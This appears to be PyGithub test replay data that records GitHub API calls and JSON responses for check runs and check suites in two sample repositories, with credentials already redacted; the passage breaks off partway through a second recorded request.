{"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?status=completed {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 05:13:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f7199f8d9f24ca28f64928f9a427e081d274525a1255f9bd17788e003394ff50"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1616479490'), ('X-RateLimit-Used', '13'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CFF8:2781:A73B3E:B558E4:605978F3')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckSuitesForRef.txt0000644000175100001660000014545414756101563025640 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites?per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e6b50a68a57fe40587144ce20a89a661"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDA6:594A:F22043:12C895C:5F2F98CE')] {"total_count":6,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} https GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), 